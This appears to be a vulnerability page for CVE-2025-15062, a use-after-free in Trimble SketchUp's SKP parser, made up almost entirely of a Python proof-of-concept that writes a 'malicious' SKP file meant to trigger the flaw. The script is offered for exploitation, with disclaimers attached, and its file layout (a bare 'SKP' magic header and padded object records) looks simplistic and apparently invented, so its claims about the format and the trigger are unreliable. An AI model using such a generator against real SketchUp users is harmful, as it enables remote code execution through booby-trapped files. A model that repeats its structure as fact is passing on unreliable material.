CVE-2025-15062 Trimble SketchUp SKP文件解析释放后重用远程代码执行漏洞

# CVE-2025-15062 PoC - Malicious SKP File Generator # This PoC demonstrates the structure of a malicious SKP file that could trigger # the Use-After-Free vulnerability in Trimble SketchUp's file parser # NOTE: This is for educational/research purposes only import struct import os def create_malicious_skp(output_path): """ Generate a PoC SKP file that triggers Use-After-Free in SketchUp The vulnerability exists due to lack of object existence validation before performing operations on objects during SKP file parsing. """ # SKP file header structure skp_header = b'SKP' # Magic bytes skp_header += struct.pack('<I', 0x00000001) # Version skp_header += struct.pack('<I', 0x00000010) # Flags # Create object references that will trigger UAF # The vulnerability occurs when objects are accessed after being freed objects = [] # Object type 0x01: Triggering object (will be freed) obj1 = struct.pack('<I', 0x01) # Object type obj1 += struct.pack('<I', 0x100) # Object size obj1 += b'\x41' * 0xF8 # Padding objects.append(obj1) # Object type 0x02: Reference to freed object # This triggers the UAF condition when parser accesses freed memory obj2 = struct.pack('<I', 0x02) # Object type obj2 += struct.pack('<I', 0x50) # Object size obj2 += struct.pack('<I', 0x01) # Reference to obj1 (already freed) obj2 += b'\x42' * 0x40 # Padding objects.append(obj2) # Object count obj_count = struct.pack('<I', len(objects)) # Write malicious SKP file with open(output_path, 'wb') as f: f.write(skp_header) f.write(obj_count) for obj in objects: f.write(obj) print(f"[+] Malicious SKP file created: {output_path}") print(f"[!] This file may trigger CVE-2025-15062 in vulnerable SketchUp versions") if __name__ == '__main__': output_file = 'CVE-2025-15062_poc.skp' create_malicious_skp(output_file) print("\n[*] Note: Actual exploitation requires specific memory conditions") print("[*] Use with caution and only in authorized testing environments")